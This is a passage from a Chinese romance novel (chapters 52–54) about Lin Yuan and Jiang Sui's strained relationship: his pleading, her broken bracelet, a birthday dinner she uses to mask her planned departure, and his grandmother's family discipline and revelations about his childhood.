“所以当年在她说出,我不是她和我父亲的孩子时,没人怀疑。也没人去查证。” “我真的害怕,阿鸢。我不知道……是不是每一段婚姻,都会变成这样。每一对相爱的人,都会褪掉热情,互生怨恨。” “我不敢……我真的不敢去想,如果我们变成那样,我要怎么办。”他窒闷的声线里,染上克制不住的哭腔。 林鸢都不知道,他在人后,是一直都这么爱哭的,还是生了病的缘故。 直到他又说:“阿鸢,对不起,是我把事情弄成了一团糟。” “可你能不能,别不要我?” “我真的没办法去想……连你都不要我了,我要去哪里。” 林鸢看不见他的脸,心脏却蓦地一缩。 她突然有些不愿意,再拿他的父母亲情去攻击他。却也答应不了他其余任何。 不知是没听见她的回应,还是调整好了情绪,他将脸露出来,只剩眼眶余红,小心翼翼问她: “你给我些时间,再和我试试,我改成你喜欢的样子,好吗?” 林鸢安静地看着他:“如果不能呢?你会放手吗?” 江随蓦地一滞,沉默下去。 林鸢气音似的笑了声,仿佛在说:你看,问题又无意义地绕了回来。 “闭眼,睡吧。”她说。 江随嚅了嚅唇,最终低道:“好。” 时间似乎又静了下去。 林鸢偏开脸,静静地起身。 却不料,蓦地被人从身后抱住。 “再陪我一会儿,可以吗?”他真的不想像刚才那样,一个人躲在黑暗里,备受煎熬。 身后滚烫的体温熨帖上来,林鸢一刹那僵硬。 “江随,你能放开我吗?”她绷着身子说。 “我没有恶意,我只是,想抱你一下。”江随沙哑低道,鼓起勇气,“我只是……想离你近一点儿。” 林鸢蓦地一滞,闭了闭眼。 “也别和我说这句话。”深深吸了一口气,她疲惫道,“我一听到,就会想到顾淮。” 江随脑袋骤然一阵轰鸣,喉间灼痛滚烫翻搅。 他颤了颤唇,没能出声。 他此刻多想向她说:阿鸢,这句话,其实……是我先想向你说的。 可如今,却成了她和别人磨不去的回忆。 再说,仿佛就成了拾人余唾的情话。 江随都不知道自己此刻是何感觉。 或许只是……躯体不习惯许久未发烧带来的难言的痛苦。 每一寸肌肉与骨骼的酸痛、灼烫,都弥天盖地地往他心脏上攀缠,叫他闷得透不过气来。 他疼得想哭出声来,却又怕她像刚刚那样,因为看见他的软弱,刚起的一点关心,又成了漠然的无视。 “对不起,”于是他沙哑出声,克制着哭腔,努力用温和平静的语调向她说,“那我……重新学着喜欢你,学着对你好,学着表达,学着体谅,可以吗?” “江随,放手。”林鸢冷淡道。 江随牙关都咬得发痛,眸底灼人地发疼,强迫自己松开手。 林鸢头也未回地向前,江随却突然在她身后说:“阿鸢,从前的我们,大概都以为各自藏得很好。可即便没有你那本日记,我依旧能感受到你的心意。” 林鸢脚步猛地一顿。 江随苦涩地牵了牵唇。 她知道了,或许会更恨他,更怨他。 可也好过,他于她而言,变得无足轻重,可有可无。 林鸢滞顿地转过身,看向他。 男人跪坐在床上,抬眼仰视她,眼眶晕红,低声沙哑道, “就像于我而言,这么多年来,喜欢你这件事……不是我不想说,不愿面对,不肯承认,就不存在的。” 第52章 第 52 章 这一刻,他前所未有地恨…… 或许是已经知道江随, 一早知晓自己喜欢他这件事,让她对江随见过她的日记,并没有先前那样极度的愤怒与难堪。 那样炽烈纯粹的少女心事, 并不是她的错。或许江随有一句话说的没错, 她实在没必要, 再维护她那点弱不禁风的自尊心了。 又或许是, 江随如今这些, 曾经对她来说极具杀伤力的表白, 像错过场次的电影票,只剩难言的怅然, 并不能激起她多大的情绪。 林鸢看着他苍白又企盼回应的脸, 竟也没了那么强烈的,要和他争锋相对的力气。 她只想知道原委, 于是只问:“你看了多少?又是怎么看见的。” “看了一页。”江随盯着她, “它当时, 掉在了地上。” 林鸢看着他,片刻, 不置可否“嗯”了声,向他说:“睡吧。” 卧室门关上,周遭重新安静下来。 江随颓然地躬身, 躯体的痛感, 都盖不住他没来由的恐慌。 仿佛置身于孤岛,看着呼天啸地的海潮骤涨, 却束手无策。 他只怕, 她越平静,就是越不在意。 但,一定还有办法的。 一定是他……做得还不够多- 林鸢没想到的是, 第二天一早下楼,江随竟起得比她还早。 她瞥了眼他面色,似乎好了许多。 她本能地就想吐槽一句,狗一样的恢复力。 江随冲她笑笑:“来吃早饭吧。” 桌上已经和前些天一样,摆好了早餐,林鸢没有饿着自己的习惯,自然坐下来吃。 进食不久,餐桌对面的江随,状似随意地问她:“阿鸢,你有没有想过,以后做什么?” 咀嚼的动作停下,林鸢平淡地看着他。 “你别多想,”江随说,“我不是……又要安排你的人生。我只是想问问你,有没有兴趣从事游戏或动画产业的工作。” 林鸢蓦然晃了下神。 说丝毫没有触动是假的。却不是因为江随这些话,而是她从前,的确有过这些念头。 江随公司刚成立的时候,她也在里面协助做过一段时间游戏分镜。 只不过,那时候只当是玩票来做。 没有系统的学习、现实经济的压力,还有毕业时和江随的那场矛盾,让她最终没有踏进这个行业。 或许是身边太多人,按部就班地生活,她有份收入不错的工作,闲余时间,也算是在用自己的兴趣赚钱,本来已经觉得挺满足,如今,当初的念头被江随重新挑开,就让她有些触动。 咽下嘴里的食物,林鸢淡道:“和你无关吧。” 江随一窒,平了下呼吸,缓声道:“阿鸢,我不是什么不食人间烟火的大少爷。我……郑老师虽然算不上多喜欢我,但对我的教养,也并不比我哥少。我知道你喜欢画画,也喜欢这些相关的行业,可也明白,你那时的境况,不可能向你母亲开这个口。” “可如果当年,我直接提出由我出资,让你去学美术,让你去美院,替你请最好的老师……或者甚至只是,让你去个普普通通的教培班,你会接受吗?” 林鸢微滞一瞬,咽了口,轻笑:“那凭什么,我现在就要接受呢?” “我欠你的。”江随毫不迟疑地说,深吸一口气,认真道,“如果你愿意,我名下极乐的股份,可以随时转给你。具有法律效力的合约,我很早……就叫律师拟好了。” “你可以毫无顾虑地去学自己喜欢的东西,去做自己喜欢的事,不用有任何心理负担,因为这是我欠你的。” 林鸢沉默地看着他,捏着瓷勺的指尖,不经意地在坚硬勺柄上,缓慢抵刮。 她谈不上感动,却也不像先前那样,生出极度的怨愤。 或许是因为,他说得太真诚,又或许是因为,“你喜欢做什么,将来又想做什么”,这样的话,只有老林问过她。 可她也只是笑了笑。 “江随,可我最想要的是什么,”林鸢盯着他,“你知道的。” 心脏骤然抽跳,男人鸦羽似的睫尖轻颤了瞬,努力笑了笑,问她:“粥好喝吗?” 林鸢舀粥的瓷勺抵在碗底,不给他逃避的机会,淡道:“我不需要你自我感动 做了什么,然后再来告诉我。” “我只是,”江随动了动唇,“想让自己变得更好一些。” “江随,”林鸢平静地告诉他,“可你现在的样子,我一点都不喜欢。” 拧绞般的闷痛在胸腔里蔓延,喉间哽痛滚烫,江随低哑问她:“煮得不好吃吗?我叫阿姨教我的,可能是第一次做,以后……会好的。” “你相信我。”最后几个字,轻得淹没进沙哑嗓音里。 林鸢沉默盯着他,不知道为什么,只觉得心口憋闷得难受。 他锐利又精致的眉眼,仍带着几分天生的骄矜贵气,可整个人的神色,却仿佛寄人篱下的孩子,察言观色,小心翼翼,努力收起骨子里的傲气。 就如同她在外婆家待的那一年。 如同,她在曾家生活的那些年。 林鸢只觉得没来由的烦躁和心慌,忽然道:“江随,你从前没这么多废话的。” 江随笑了笑,什么也没再说。 脑袋仍昏昏沉沉,不知道什么时候才能好。 他低头,一勺勺地,机械地咽了几口。 的确不好吃,寡淡无味。 她说她,不喜欢他现在的样子。 可他哪里,还敢和从前一样。 他如今连演,恐怕都演不像。 因为他无法自控地,总会想起从前的他们,即便安安静静,坐在一起什么话都不说,也仍叫他感到安心与悸动。 可如今,这份安静却叫他心慌、叫他害怕。 他害怕什么都不说,什么都不做,她就会离他越来越远。 他只能赌,赌她终究对他,能有一丝例外- 江随等彻底退烧后,去曾家拿了林鸢的东西。 郑敏接待的他。 : 打电话问了林鸢,确定可以给他,就帮他一起整理。 电话里,林鸢只说,和江随是一个公司的,让他帮忙来拿。郑敏没有太多怀疑。 或许是上次碰过面,或许是林鸢的柜子里,藏了许多他的相片。 郑敏对他,似乎并不陌生。 他没有看见当年那本日记,不知道,是不是林鸢离开的时候已经带走。 他将影集,她的一些小东西整理好,放在置物箱里。 又在触到郑敏说的,她放手链的盒子时,因那些相册,已经有些难抑的酸涩,一瞬间化成眸底胀热,几乎要克制不住滚落下来。 那是一只印着小熊的铁皮盒子,他当年去港城参赛,带给她的,无足轻重的小礼物。 “江先生,我看见阿鸢把不少宝贝的东西,都放在这个盒子里。”郑敏低笑了声,慢道,“许多年都舍不得扔,应该是很喜欢,麻烦你一起带给她吧。” “嗯,好。” 江随蹲在她小卧室的柜子前,用躬身整理的姿势,来掩饰自己此刻克制不住的颤抖。 他只觉得自己在这一刻,前所未有地恨自己。 恨他的自私,恨他的懦弱,恨他的胆怯。 他到底将她的心意,践踏到何种地步,才能叫一个……曾经连这样无关紧要的包装盒,都要妥帖保管的少女,如今厌恶他成这样境地- 老林的手机,林鸢是在离开曾家时就带走的,那天晚上还能正常开机,可这两天,却无缘无故地没了任何反应。 林鸢跑了好几家维修店,都说型号太老,甚至那个品牌都已经被收购,没有零件,没办法维修。 不是钱的问题。 林鸢不知道这种感觉该怎么形容,仿佛一个人曾经存在过的痕迹,就要这样再一次,在她眼前消失。 她真的有些接受不了。 可偏偏,她刚回去,站在客厅里,想问问谢师哥,曾经的同学,或是随便谁,能不能帮她想想办法时,江随却回来,问她说:“阿鸢,能陪我出去吃顿饭吗?”又道,“如果不想出去,在家吃也行。” 林鸢咬了咬牙,抬头看他。 江随一下看见她耳垂上的浅蓝,嚅了嚅唇,低道:“今天……能不戴吗?” “我喜欢。”林鸢平静地告诉他。 “阿鸢,今天21号。”江随有些忐忑,“是我的生日。” 林鸢微顿,沉默又固执地看着他。 江随攥了攥掌心,从口袋里拿出那条,藏在身边好多天,没敢给她的手链,艰涩笑道:“那你可不可以……都戴上?” 林鸢一滞,心口有一刹那隔着鼓皮,闷敲似的疼。 她没来由地怨愤到极点,嗤笑了声,伸手接过,又在江随眸底浮起意外的欣喜与动容时,猛地双手合力,将那串手链用力一扯。 崩坏的零星碎宝石,溅落到大理石地面上,手里断裂的金属,砸到江随外套上,又掉落到他脚边。 她看着眼前呆住的男人,攥紧拳,狠狠咽下喉间哽痛。 林鸢知道单就这件事而言,她是迁怒。 迁怒地想,如果不是江随,老林的手机,是不是就不会被曾友安摔坏。 就好像人总要为自己的倏忽找个理由,于是借题发挥,将责任推卸给旁人。 可她这些年,怪自己的时刻太多,也太累了。 她怪自己当年的任性,怪自己为什么非得那天拉着老林出门。怪自己是不是不够听话懂事,才叫郑敏宁愿站在别人那边,也不愿维护自己。 怪自己是不是不够好,不够漂亮,不够聪明,所以江随才不喜欢她。 也怪自己,是不是不够优秀、不够有能力,面对顾家的危机,出不了半分力气。 所以正如江随踩住她痛处时所说……面对感情,但凡有一点外部阻力,她或许都会放弃。 因为她承担不起别人的人生,也不想承担。她背了太久的壳,实在精疲力尽。 她又何尝不是和江随一样胆小怯弱,一样想逃避。逃避可能发生的,一段感情未来的面目全非。 可她也同样,真的不再需要江随的好意,也给不了任何回馈。 江随抬眼看向她,看着她眼底的固执和怨愤,克制压抑的悲伤与嘲讽。 和她指骨间勒压的红痕。 眼前的女孩子,连他曾经送他的饼干盒子,都几乎全新地保存至今,却把这条,那时欢喜到藏不住心事的手链,毫不犹豫地拆断,扔还给他。 江随都不敢去想,她如今到底……是有多恨他。 他只记得很小的时候,看过这样一句话——一道刺破黑夜的光,让迷失的人找到了路。无论这条路能否带他回家,至少提供了前进的方向。[注] 他曾经觉得,夜空里的星芒,就是一簇簇刺破黑暗的光点,所以在孤单的年幼时光,他总喜欢仰望这片广袤宇宙,憧憬那点遥远的炽热。 又渴求地祈盼,他也能拥有一颗,为他引路的星。 可如今,这颗原本只属于他的星星,好像真的不愿再照亮他了。 喉结艰涩划滚,咽下滚烫的灼痛,江随僵硬地走上前。 “脾气这么大。”玄关台阶下,他低下头,小心翼翼,牵过她手腕,努力学着从前的样子,散漫轻笑,涩哑低问道,“手不疼啊?” 第53章 第 53 章 等我离开了,你也向前走…… 江随握着她腕骨的指节, 有轻微的颤抖。可林鸢明白,这已经是他克制后的结果。 因为即便他低着头,她依旧看见了他眼里的潮意。 这个男人, 不知道从什么时候开始, 就像一个敲碎了壳的软体动物, 将自己荡然无余地抛进这个世界里。 任何一点触碰, 都能随意刺痛他, 叫他疼得无处可遁。 林鸢滞在原地, 不知道是因为刚才迁怒的发泄,还是因为别的, 整个人心悸般, 微微发抖。 她感到心慌、极度不安。 她不明白,为什么会有人, 为了一份感情, 能将尊严、傲气、原则, 全踩在脚下,让自己变得面目全非。 到底是因为爱, 还是已经成了执念? 林鸢觉得自己,快要受不了了,整个人, 就像被某种矛盾的情绪死命地拉扯。 明知道理智上, 她该恨他、怨他。 可竟然还会不可思议地,并不想看见他这样。 仿佛有个更年轻的灵魂飘在半空, 盯着她, 指挥着她,控制着她。而她只能呆站着,任由那个灵魂抽动手里的丝线, 让她的心脏不由自主地闷痛。 可她需要的感情,绝然不是一方对另一方的控制,也不是一方对另一方,无止境的迁就和讨好。 她必须尽快离开。 离开他,去到完完全全,没有江随的 地方- 林鸢回房后,一直到夜里,隐隐约约听见楼下客厅,总有细微克制的动静。 知道江随并没有走。 她想了许久,最终下楼。 客厅里,只餐厅连着厨房岛台那一片的灯带亮着,并不明亮,林鸢却一眼看见,一个人安安静静,微垂着眼,默然坐在餐桌前的江随。 餐桌上几道摆盘精致的中餐,酒器里不知道醒了多久的红酒,还有一只造型清雅可爱的草莓小蛋糕——不是从前那个牌子。 他像是在发呆,她下了楼梯,顿下脚步很久,他才迟钝地抬起头来。 在看见是她的那一刻,潋滟的眸子,闪过一刹那克制不住的欣喜,又在下一刻,小心翼翼地掩饰下去,动了动唇,没说话。 林鸢捏了捏指节,走过去,低眼看着桌上几道,都是按她口味做的菜,笑了笑:“饿了,下来吃点东西。”又抬眼问他,“你吃了吗?” 江随有些茫然地摇头:“……还没。” 像是不敢相信,她竟会关心他。 “江随,抱歉。”林鸢看着他,平和道,“我今天……心情有些不好,所以……” “应该的。”江随打断她,嗓音有难言的哑意,笑了笑,低道,“应该的。” 林鸢一顿,没有再说下去。 两人默契地都明白,江随所谓的应该,是什么意思。可这样我扇你一巴掌,我回你一拳似的互相伤害,林鸢不想要。 “菜都凉了,我再叫人……” “不用,”林鸢笑了笑,“我们热热,一起吃了吧。” 江随微愣,像个小心观察大人神色,是否是真的没在生气的小孩,点了点头。 厨房里,俩人将那一小锅莲藕排骨汤架到灶台上,打上火。其余的,按林鸢说的,简单加热一下就行。 只是林鸢盯着浓白色的汤汁,泛起细微的气泡时,突然问:“江随,我们在一起的话,你是准备,和我结婚吗?” 江随猛地一怔,手里的餐盘都差点掉落。他忽然有些不知所措。 他不知道,是林鸢在考验他,还是反讽他。他有些不知道该怎么回答。 没有回应,林鸢偏头,笑道:“怎么不说话?” “嗯,我想。”江随一下慌张起来,赶紧说,又无所适从地放轻了声音,“我……可以想吗?” 林鸢一顿,看着他,胸腔里有细细密密的隐痛,却轻声笑起来。 点点头,又问:“可要是……你家里人不同意呢?” “阿鸢,那你试试。”他像个急于表现的孩子,毫无迟疑地说,“你看我选你,还是要他们。” 林鸢猛地呼吸一窒,被他眼里,仿佛终于得见一丝希望,病态的执拗激得一个冷颤,咬紧牙,没说话。 顿了好久,直到江随又有些无措。 “江随,”林鸢安慰道,“我只是随便提个假设,你不要这样认真。” 江随一愣,有些茫然地安静了会儿,又点点头。 “先把菜端出去吧。”林鸢弯着唇,偏头指了指餐厅,“再不吃,你生日都要过了。” 他懵懵地弯起唇,又高兴,又有些慌乱,心跳都克制不住剧烈跳动,点头道:“好。” 按她的指挥,去端那些加热过的瓷盘。 他将掌心严丝合缝地托住灼烫的瓷器,死死贴着,不敢松开。 直到走到餐桌边,放下瓷盘,江随捻了捻一瞬间有些模糊的指纹。 那么烫,那么疼,他也没有醒。 真好,不是做梦。 林鸢坐下,吃了些菜,又端起江随替她倒的小半杯红酒,举杯向他道生日快乐。 “所以,你会把我带回家见你家人,是吗?”放下酒杯,林鸢问他。 “明天,”江随心脏的跳动难以平缓,有些迫切地说,“明天我就向郑老师说,可以吗?” 林鸢看着他,努力平缓了一下呼吸,笑了笑。 “也不用这么着急,我就是……想和你先试试。”她寻找着合适的尺度——总要为自己蓦然的改变找个理由,顿了下,平和道, “毕竟,人总要向前走的,不是吗?” 却不料对面的男人,仿佛丝毫没怀疑这点转变的突兀,高兴又激动地措词都有些混乱。 “没关系,我们可以先回家,你……你不要着急,你慢慢来,我多久都可以等,多久都可以的。” 林鸢颤了下睫尖:“好,点蜡烛吧。” “好。” 江随只觉得,这是他过得的,最快乐的一个生日。 他看着她,看着她隔着烛光,美好又柔和的脸,弯起笑,鼻腔酸涩难抑。 林鸢看着他那张漂亮又精致的面孔,在烛火温染下,仿佛中世纪教堂里的油画。 她曾经第一眼见到他时,便觉得童话故事里的王子,就该是这副模样,故事结尾那句“王子和公主永远幸福地生活在一起”,才有说服力。 轻眨了下眼,林鸢说:“许个愿吧。” “我希望,”那双深挚的桃花眼,执着地望着她,低低道,“明年生日,还和阿鸢一起过。” 林鸢轻笑,在烛火熄灭的那一刻垂下眼,安静向他说:等我离开了,你也向前走吧- 江随和郑老师提及林鸢的结果,就是由她亲自带着,又去了趟顾家。 不是没有人向她说起江随这段时间的动作,只是弄清事情原委,也知道这小子自己善了后收了尾。 就等着他自己送上门。 顾玉鸣夫妇,着实有些意外。说被宠若惊都不为过。 上回江随来,自家儿子将人家揍得一身伤,该有的礼数道歉,经济上的赔偿,更是不遗余力。 如今罚金和滞纳金一应缴纳,那几家出了事的分店,整改完成也重新营业,这一道槛安然度过。 按顾玉鸣的想法,这样踩红线的事,越早发现解决,后遗症越小,如今一切揭过,反倒让他安心些。 没想到,郑老还带着江随一道登门。 更让他有些不敢置信的是,还请了家法。 “他是没犯法,可他犯了错。道歉几次都不为过。”郑老师道,“明文律法奈何不了他,那就家法教训他。” “跪下道歉,”郑老师冷脸看着江随,“是你长辈,没什么不能跪的。” 江随看了她一眼,单膝曲起,抵到地上,又落下另一处膝盖。 顾玉鸣夫妇想劝,却又不知道该从何劝起。 江随身后警卫扎扎实实落下一军棍的时候,夫妻俩似乎觉得自己,开始有点明白,江随为何会这样偏执了。 至少他们对待顾淮,只要不是杀人放火,绝对下不去这样的手。 “该他承担的责任,都让他承担,我会叫人盯着他的。”郑老师又道。 原本默不作声的江随,却猛地抬头,仿佛一头受了伤的小兽,即便此刻自愿受制于人,却依旧警惕地盯着她,时刻戒备着,不能叫任何人毁了他的家。 郑老师没好气地瞪了他一眼,又补充:“任何经济损失,都叫他负责。” 江随肩线一松,重新低下头。 从顾家出来,江随忍着每呼吸一下, 就从后背肋骨两处传来的扯痛,别扭地向她说:“谢谢郑……谢谢奶奶。” “浑小子。”郑老师好气又好笑。 “我让你赔别的,你会肯?”到时候怕是连郑老师都不会叫,直接叫她老太婆了。 江随不说话。 郑老师看着他冷汗涔涔,惨白的一张脸,没好气地说了句:“叫小赵陪你去医院看看,别真有个好歹,人好好的小姑娘,总不能找个残疾。”- 林鸢是元旦前,和江随一道去的华盛胡同。 原因无他,背部左后两根肋骨骨裂,虽不用像其它部位一样上石膏,却每次呼吸,每次起坐都得复习一遍当时的剧痛。 郑老师说不想看见他那副病恹恹的小白脸模样,让他好了再去。 林鸢去杨梅胡同时,见的多是宋朝欢那样的一进小院子,或是两进院落,隔成好多户人家。 她扫了眼院子里那株落了叶的白蜡树,淡淡收回眼。 她也不清楚江随是怎么和郑老师说的,这位老人见了她,同那次高中时偶然的一面无差,爽朗又慈爱。 她进了主屋客厅,老人笑着向她说:“阿鸢,还记得奶奶吗?” 林鸢一怔,倒是有些不安起来。 郑老师的样子,不像是……不同意她和江随。 面上却弯起笑:“郑老师,您好。记得的。” 两人寒暄了几句,郑老师将江随打发走,叫林鸢一起,去厨房和她包包子。 案台前。 “年纪大了,不让我吃太多荤腥,你看这个萝卜丝肉包,”挑了点儿提前备好的馅料,郑老师嫌弃道,“几筷子都见不了一点儿肉腥。” 林鸢笑。 她没和这样脾性的隔代长辈相处过,却在她身上莫名体会到了一点儿老林的调性。 一点本能的亲近,叫她放松下来。却也犹豫,是今天就向她求助,还是先捉摸下老人的意思,再做别的打算。 却听郑老师道:“阿鸢,江随这小子呢,就是学杂了,从资本主义那儿学来的冷血无情高高在上,在他哥部队耳濡目染那些兵痞子的坏嘴,又不知道从哪儿自学成才的拐弯抹角口是心非。” 林鸢一顿。 “也就还有我,给他灌输吃苦耐劳立场坚定的优良作风。” 林鸢听到后来有些想笑,老人故意自卖自夸的样子,真像个老小孩儿。 “其实他16岁的时候,我就让他选过,要不要走他哥的路。” 林鸢一顿,摁着手里的褶,低垂下眼。 “他那时候脑子还没想清楚,心却诚实得很。”郑老师笑起来,“陆江两家的路,他都不选,他要做自己的主。” “毕竟,得了家族的好处,也该担起相应的义务。这是他们从小就明白的道理。” 她在江随16岁时让他选择。 江随知道,如果选择陆靖的路,往后的许多事情,便不能自己做主。 而若是不做选择,陆家也不会再为他铺路。 权利和义务,总是对等的。 林鸢有些怔愣,又有些茫然。她机械地做着重复的动作,不知该作何反应。 “那小子和你说过,他小时候的事儿吗?”郑老师却好似看不出来般,继续道。 林鸢回神,点点头:“嗯,说过一些。” 老人笑了笑:“那他大概没和你说过,陆靖当年向我求情,让我把他留下来的时候,我知道他在书房外面。” 林鸢一滞,突然有些不敢听下去。 “但我还是和陆靖说,‘陆家不会养别人的孩子’。” 林鸢狠狠咽了一口。 “后来他去了他母亲那边,也给陆靖打过电话。陆靖说会接他回来的,”郑老师平和道,“但陆靖又能做得了谁的主?” “奶奶打个不恰当的比喻,他就像个小猫小狗,本以为这里就是他的家,结果没几年,连着被转手送出去好几回,每次都满怀希望地以为,可以留下来,每次又被各种理由送走。” “其实能有什么理由呢?所有能找得出的理由,就是不够在乎罢了。就算真是个小猫小狗,怕也是要不再相信人。”老人放下一只褶子漂亮得包子,“何况,他是个人呢。 林鸢胸腔里,突然有些难言的窒闷。 郑老师爱江随吗?应该是爱的。前提是,他是陆家的孩子。 并且必须是——不会妨碍家族前进与荣耀的孩子。 陆靖爱他吗?或许是所有亲人中,最爱江随的。她从前就知道,江随和他哥关系很好。 可陆靖依然有他的“身不由己”。 所以在那个小男孩儿,问那个爱他的哥哥,会不会接他回来时,陆靖说:“会的。” 却再也没去见过他。 而他不知道,那个早慧的孩子,其实一早站在书房外,听见亲人说:“陆家不会养别人的孩子。” 从某种角度来说,江随和她,其实有许多相似的地方。 就好比,老林不在后,没人会因为她“懂事”,给她更多的偏爱。 反倒是,会更变本加厉地认为,她本该这样。 而江随,亦是如此。 “至于江随的母亲。”郑老师道,“那样漂亮,那样聪明的一个女孩子,却因为是女性,即便比她哥哥优秀无数倍,即便她父母嘴上说她多好多好,却又总会加一句——如果你是个男孩子就好了。” 郑老师低嗤好笑道:“好像是个女孩子,家族的继承,就和她无关了一样。” “大概从小缺爱的人,面对感情,总会做出点儿不理智的举动。我能理解她,”话音停住,郑老师看向林鸢,“但不会原谅她。” 林鸢心脏一跳,有些预感似的偏过脸,同样看向她。 “所以孩子,怎么对待江随,你也可以自己选择。我也不会允许,我活着的时候,这俩孙子无法无天。”郑老师笑看着她,屈着指节,温和替她擦了擦脸上沾到的面粉。 “但不管事情重来几回,当年我都会说:陆家不会养别人的孩子。” 第54章 第 54 章 眼前早已不是他们期待的…… 周一, 林鸢在工位上看见谢松柏进了茶水间,拿上马克杯,不动声色地起身。 谢松柏在挑零食, 林鸢走过去, 倒了半杯温水, 低声道:“谢师哥, 我年后, 就不来上班了。” 谢松柏一顿, 看向她,拿着包薯片捏了捏袋子, 平和道:“准备去其它地方生活了?” 林鸢看他神色, 只觉得他并没有多意外,倒是有些怔愣。 看了眼没人经过的茶水间玻璃门, 谢松柏低声道:“江师弟最近……经常来接送你。我想着年轻人的事儿, 我也不好多问, 但总觉得你不会……” 谢松柏没有说下去。 林鸢先前快结婚的事,他知道, 而江随这些年,对林鸢超出朋友界限的关心,他也知道。 依他对林鸢的了解, 小姑娘对感情, 不会这样三心二意。 掌心挤紧杯身的温度,林鸢努力笑了笑:“我手里的工作, 年前提前做好, 如果有需要我带的新人,我也没问题。” 又着重道,“我给你留了个号码, 到时候万一……公司遇到什么问题,你就打那个电话。” 她农历新年前就会离开北城,郑老师帮她安排了国外的学校,只等资料手续齐全。 郑老师叫她安心,她担心的事,不会发生。 谢松柏一怔,对她工作的尽责自然毫无异议——毕竟订婚那次,她都能连夜向他做好工作安排报告。 只是顿了片刻,有些难言道:“抱歉了小林子,你前年刚来的时候,江师弟其实……经常问我关于你的事儿,我就想着他或许是……年轻人搞不懂自己心意。就连你第1回 去相亲的事儿,也是我说的。” 睫尖一颤,林鸢有片刻的惘然。 她就说,这世上,哪来这么多的巧合。 她笑了笑:“没事的。” “还有,我这儿的事,你千万别有心理负担,要不是江师弟注资,齐柏可能那时候就得散了。其实去年那会儿我就想过,要不干脆给你们结个N+1,这公司就算了。我继续回去干我的程序员,周末还能多陪陪阿齐和我女儿。” 谢松柏吁了口,偏了偏下颌,半开玩笑半认真道,“你都不知道,现在公司每年的盈利,还不如我刚毕业那两年在对面ITC挣得多。” 林鸢笑,了然地点点头,十分相信。 科创园的房租,那么多员工每个月的工资,客户和各种关系的维系,像齐柏这样的民营公司,又要遵纪守法地赚钱,的确是相当不容易。 “况且就算真有事儿,也没关系。”谢松柏笑起来,甚至是挺骄傲的语气,“你不知道,我们家阿齐,喜欢的就是我愣头青,杠天杠地的劲儿。要是我这也怕那也怕的,她还看不上我了呢。” 林鸢一顿,鼻腔蓦地有些酸。 仿佛别人的幸福,同样能叫她感受到温暖和力量。 林鸢弯唇,低道:“谢师哥,谢谢。”- 不知道是不是对即将离别的人,总要宽容一些,林鸢从华盛胡同回来后,整个人平和放松了不少。 这种情绪落在江随眼里,就成了她真的有在尝试,和他重新开始。 林鸢当然不会去辩解,她也不想在最后的这半个多月,再和江随起冲突。 她也希望在这最后的共处里,她和江随,不是仇人般的敌视与怨愤。 只是在她生日前,她在房里收拾东西,大概是被白天来打扫的阿姨看见,告诉了江随,等她晚上回去时,江随就像头掉进陷阱的困兽,极度不安,极度惶恐,又不敢发出呜咽,生怕惊动了她。 说毫无触动是假的,因为她即将要做的,不正是这样的事吗? 可她这回却能心安理得地说:“江随,我只是回一趟老家。从前,都是清明才回去,这次正好周末,我就想,在我生日的时候回去看看我爸爸。” 江随整个人像被扔回海里的鱼,深深呼吸,调整神色,犹豫道:“那,我能陪你一起回去吗?” 林鸢想了想,点头:“好。” 江随受宠若惊地动了动唇,想说什么,又听林鸢平淡地补充:“但祭拜老林,还是我自己去就可以了。” 有那么一瞬间,江随只觉得自己被海浪高高卷起,又重重掼到礁石暗滩上。 嶙峋碎石撞得他失去思考的能力,只能任由自己陷阱滩涂上的泥沼,堵住呼吸的口鼻。 他也不想去想的,可脑子里不由自主地,便想起曾经,林鸢理所当然地说,“我带我男朋友去祭拜我父亲,到底有什么问题”的语气。 喉结哽滞地滑动,江随努力弯了弯唇,艰声道,“好,都听你的。”- 林鸢是从渝市回北城,接到的戴叔叔电话。 是个微。信的语音通话。 她知道今年清明,不会回来了,就当新年前,提前去拜访一趟。 这一次,江随倒是没要求和她一起上去,只帮她拿了要送的礼物,在家属院外就停住,将东西给她,说在外面等她。 林鸢只当他是不在意戴叔叔,也没说什么。 没想到,那天戴叔叔临时回了一趟所里,差不多到和她约好的时间,才从外面回来。 就这样,三个人在门口正巧碰上。 她当时没觉得任何异样,回了戴叔叔家,他也只是长辈般笑问:是你男朋友吗? 林鸢笑笑说:是以前的同学。 戴叔叔似乎微顿了瞬,林鸢也只以为,他从前见过她朋友圈里的顾淮,所以对这次,她身边又换了个人感到诧异。 只是也没再多问。 可今天,他却问她:“鸢鸢,你同学……你们当年高考结束,你带他来过律山吗?” 如果是平时的案子,他也不会记错时间,更何况是老林的。并且那一年,那个暑假,林鸢拿到录取通知书的当天,郑敏就向他打电话报过喜。 林鸢一顿,没来由地,心跳有些快起来,下意识捏紧手机,不确信地问他:“戴叔叔,您从前,见过他?” 对面沉默了许久,最终却说:“可能是我记错了。” 又道,“不用向别人提及。” 林鸢怔怔地应了“好”,挂了电话。 站在卧室里,林鸢只觉得喉咙都发干,脑子混茫茫的,辨不清的情绪在胸腔里翻滚。 理智告诉她:算了,知道了,又还有什么意义。 可另一个林鸢,又仿佛正在期冀地看着她,祈盼真相。 她最终下了楼,去厨房倒了杯热水,茫然地坐到沙发里,就着那盏昏黄的落地灯,几乎将水温捂冷。 连江随什么时候蹲到她身前的,都没有发现。 “怎么了?”男人微扬着下颌,从下至上看着她,唇角浅弯,温声道,“怎么一个人坐在这里发呆?” 林鸢怔忡回神,垂眼看向他。 眼前男人,额发微垂,锐利又精致的五官,晕染在暗光里。 那双漂亮的桃花眼,从前耷拉着眼皮瞧人时,总有漫不经心的痞气。偏偏瞳仁又生得漆黑清澈,偶尔抬眼看人时,使得他眼睛看上去潋滟湿濡,仿佛藏着浓郁的深情。 她也不知道为什么,最近这段时间,就算在这个屋子里洗完了澡,江随也会穿着干净的白衬衣。 好闻的皂香,同他头发上清爽的洗发水味道混杂,溢进鼻息间。 有那么一刹那,林鸢有些恍惚地,将眼前男人,同记忆中的少年重叠了片刻。 直到她清醒地回神,低问:“江随,高三毕业那个暑假,你到底……去了哪里?” 江随一滞,忽然明白了什么。 其实在见到戴警官的那一刻,江随就有些预料,他似乎,竟记得六年前匆匆的一面之缘。 只是那一刻,两个男人都心照不宣般,只当对方是头一次出现的陌生人。 江随顿了片刻,最终低道:“我没去英国。” 林鸢脑子有片刻的空白,仿佛灵魂抽离,从前的林鸢,要落进这具壳子里。 或许每个人,总在成长的某一时刻,会替自己筑一个软壳,让曾经惧怕面对这个世界自己住进去。 就如同13岁的林鸢。 